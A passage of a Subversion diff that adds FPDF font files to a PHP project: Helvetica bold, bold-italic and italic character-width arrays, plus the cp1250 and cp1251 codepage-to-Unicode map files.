+	chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556,
+	chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticab.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticab.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticab.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['helveticaB']=array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'\''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722,
+	'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889,
+	'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611,
+	chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticabi.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticabi.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticabi.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['helveticaBI']=array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>333,'"'=>474,'#'=>556,'$'=>556,'%'=>889,'&'=>722,'\''=>238,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>333,';'=>333,'<'=>584,'='=>584,'>'=>584,'?'=>611,'@'=>975,'A'=>722,
+	'B'=>722,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>556,'K'=>722,'L'=>611,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>584,'_'=>556,'`'=>333,'a'=>556,'b'=>611,'c'=>556,'d'=>611,'e'=>556,'f'=>333,'g'=>611,'h'=>611,'i'=>278,'j'=>278,'k'=>556,'l'=>278,'m'=>889,
+	'n'=>611,'o'=>611,'p'=>611,'q'=>611,'r'=>389,'s'=>556,'t'=>333,'u'=>611,'v'=>556,'w'=>778,'x'=>556,'y'=>556,'z'=>500,'{'=>389,'|'=>280,'}'=>389,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>278,chr(131)=>556,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>278,chr(146)=>278,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>556,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>280,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>611,chr(182)=>556,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>556,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>611,chr(241)=>611,
+	chr(242)=>611,chr(243)=>611,chr(244)=>611,chr(245)=>611,chr(246)=>611,chr(247)=>584,chr(248)=>611,chr(249)=>611,chr(250)=>611,chr(251)=>611,chr(252)=>611,chr(253)=>556,chr(254)=>611,chr(255)=>556);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticai.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticai.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helveticai.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['helveticaI']=array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'\''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667,
+	'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833,
+	'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556,
+	chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>500,chr(155)=>333,chr(156)=>944,chr(157)=>350,chr(158)=>500,chr(159)=>667,chr(160)=>278,chr(161)=>333,chr(162)=>556,chr(163)=>556,chr(164)=>556,chr(165)=>556,chr(166)=>260,chr(167)=>556,chr(168)=>333,chr(169)=>737,chr(170)=>370,chr(171)=>556,chr(172)=>584,chr(173)=>333,chr(174)=>737,chr(175)=>333,
+	chr(176)=>400,chr(177)=>584,chr(178)=>333,chr(179)=>333,chr(180)=>333,chr(181)=>556,chr(182)=>537,chr(183)=>278,chr(184)=>333,chr(185)=>333,chr(186)=>365,chr(187)=>556,chr(188)=>834,chr(189)=>834,chr(190)=>834,chr(191)=>611,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>278,chr(205)=>278,chr(206)=>278,chr(207)=>278,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>584,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>667,chr(222)=>667,chr(223)=>611,chr(224)=>556,chr(225)=>556,chr(226)=>556,chr(227)=>556,chr(228)=>556,chr(229)=>556,chr(230)=>889,chr(231)=>500,chr(232)=>556,chr(233)=>556,chr(234)=>556,chr(235)=>556,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>556,chr(241)=>556,
+	chr(242)=>556,chr(243)=>556,chr(244)=>556,chr(245)=>556,chr(246)=>556,chr(247)=>584,chr(248)=>611,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1250.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1250.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1250.map	(revision 44)
@@ -0,0 +1,251 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+20AC Euro
+!82 U+201A quotesinglbase
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!89 U+2030 perthousand
+!8A U+0160 Scaron
+!8B U+2039 guilsinglleft
+!8C U+015A Sacute
+!8D U+0164 Tcaron
+!8E U+017D Zcaron
+!8F U+0179 Zacute
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!99 U+2122 trademark
+!9A U+0161 scaron
+!9B U+203A guilsinglright
+!9C U+015B sacute
+!9D U+0165 tcaron
+!9E U+017E zcaron
+!9F U+017A zacute
+!A0 U+00A0 space
+!A1 U+02C7 caron
+!A2 U+02D8 breve
+!A3 U+0141 Lslash
+!A4 U+00A4 currency
+!A5 U+0104 Aogonek
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+00A9 copyright
+!AA U+015E Scedilla
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+017B Zdotaccent
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+02DB ogonek
+!B3 U+0142 lslash
+!B4 U+00B4 acute
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+00B8 cedilla
+!B9 U+0105 aogonek
+!BA U+015F scedilla
+!BB U+00BB guillemotright
+!BC U+013D Lcaron
+!BD U+02DD hungarumlaut
+!BE U+013E lcaron
+!BF U+017C zdotaccent
+!C0 U+0154 Racute
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+0102 Abreve
+!C4 U+00C4 Adieresis
+!C5 U+0139 Lacute
+!C6 U+0106 Cacute
+!C7 U+00C7 Ccedilla
+!C8 U+010C Ccaron
+!C9 U+00C9 Eacute
+!CA U+0118 Eogonek
+!CB U+00CB Edieresis
+!CC U+011A Ecaron
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+010E Dcaron
+!D0 U+0110 Dcroat
+!D1 U+0143 Nacute
+!D2 U+0147 Ncaron
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+0150 Ohungarumlaut
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+0158 Rcaron
+!D9 U+016E Uring
+!DA U+00DA Uacute
+!DB U+0170 Uhungarumlaut
+!DC U+00DC Udieresis
+!DD U+00DD Yacute
+!DE U+0162 Tcommaaccent
+!DF U+00DF germandbls
+!E0 U+0155 racute
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+0103 abreve
+!E4 U+00E4 adieresis
+!E5 U+013A lacute
+!E6 U+0107 cacute
+!E7 U+00E7 ccedilla
+!E8 U+010D ccaron
+!E9 U+00E9 eacute
+!EA U+0119 eogonek
+!EB U+00EB edieresis
+!EC U+011B ecaron
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+010F dcaron
+!F0 U+0111 dcroat
+!F1 U+0144 nacute
+!F2 U+0148 ncaron
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+0151 ohungarumlaut
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+0159 rcaron
+!F9 U+016F uring
+!FA U+00FA uacute
+!FB U+0171 uhungarumlaut
+!FC U+00FC udieresis
+!FD U+00FD yacute
+!FE U+0163 tcommaaccent
+!FF U+02D9 dotaccent
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1251.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1251.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/cp1251.map	(revision 44)
@@ -0,0 +1,255 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0402 afii10051
+!81 U+0403 afii10052
+!82 U+201A quotesinglbase
+!83 U+0453 afii10100
+!84 U+201E quotedblbase
+!85 U+2026 ellipsis
+!86 U+2020 dagger
+!87 U+2021 daggerdbl
+!88 U+20AC Euro
+!89 U+2030 perthousand
+!8A U+0409 afii10058
+!8B U+2039 guilsinglleft
+!8C U+040A afii10059
+!8D U+040C afii10061
+!8E U+040B afii10060
+!8F U+040F afii10145
+!90 U+0452 afii10099
+!91 U+2018 quoteleft
+!92 U+2019 quoteright
+!93 U+201C quotedblleft
+!94 U+201D quotedblright
+!95 U+2022 bullet
+!96 U+2013 endash
+!97 U+2014 emdash
+!99 U+2122 trademark
+!9A U+0459 afii10106
+!9B U+203A guilsinglright
+!9C U+045A afii10107
+!9D U+045C afii10109
+!9E U+045B afii10108
+!9F U+045F afii10193
+!A0 U+00A0 space
+!A1 U+040E afii10062
+!A2 U+045E afii10110
+!A3 U+0408 afii10057
+!A4 U+00A4 currency
+!A5 U+0490 afii10050
+!A6 U+00A6 brokenbar
+!A7 U+00A7 section
+!A8 U+0401 afii10023
+!A9 U+00A9 copyright
+!AA U+0404 afii10053
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+0407 afii10056
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+0406 afii10055
+!B3 U+0456 afii10103
+!B4 U+0491 afii10098
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+0451 afii10071
+!B9 U+2116 afii61352
+!BA U+0454 afii10101
+!BB U+00BB guillemotright
+!BC U+0458 afii10105
+!BD U+0405 afii10054
+!BE U+0455 afii10102
+!BF U+0457 afii10104
+!C0 U+0410 afii10017
+!C1 U+0411 afii10018
+!C2 U+0412 afii10019
+!C3 U+0413 afii10020
+!C4 U+0414 afii10021
+!C5 U+0415 afii10022
+!C6 U+0416 afii10024
+!C7 U+0417 afii10025
+!C8 U+0418 afii10026
+!C9 U+0419 afii10027
+!CA U+041A afii10028
+!CB U+041B afii10029
+!CC U+041C afii10030
+!CD U+041D afii10031
+!CE U+041E afii10032
+!CF U+041F afii10033
+!D0 U+0420 afii10034
+!D1 U+0421 afii10035
+!D2 U+0422 afii10036
+!D3 U+0423 afii10037
+!D4 U+0424 afii10038
+!D5 U+0425 afii10039
+!D6 U+0426 afii10040
+!D7 U+0427 afii10041
+!D8 U+0428 afii10042
+!D9 U+0429 afii10043
+!DA U+042A afii10044
+!DB U+042B afii10045
+!DC U+042C afii10046
+!DD U+042D afii10047
+!DE U+042E afii10048
+!DF U+042F afii10049
+!E0 U+0430 afii10065
+!E1 U+0431 afii10066
+!E2 U+0432 afii10067
+!E3 U+0433 afii10068
+!E4 U+0434 afii10069
+!E5 U+0435 afii10070
+!E6 U+0436 afii10072
+!E7 U+0437 afii10073
+!E8 U+0438 afii10074
+!E9 U+0439 afii10075
+!EA U+043A afii10076
+!EB U+043B afii10077
+!EC U+043C afii10078
+!ED U+043D afii10079
+!EE U+043E afii10080
+!EF U+043F afii10081
+!F0 U+0440 afii10082
+!F1 U+0441 afii10083
+!F2 U+0442 afii10084
+!F3 U+0443 afii10085
+!F4 U+0444 afii10086
+!F5 U+0445 afii10087
+!F6 U+0446 afii10088
+!F7 U+0447 afii10089
+!F8 U+0448 afii10090
+!F9 U+0449 afii10091
+!FA U+044A afii10092
+!FB U+044B afii10093
+!FC U+044C afii10094
+!FD U+044D afii10095
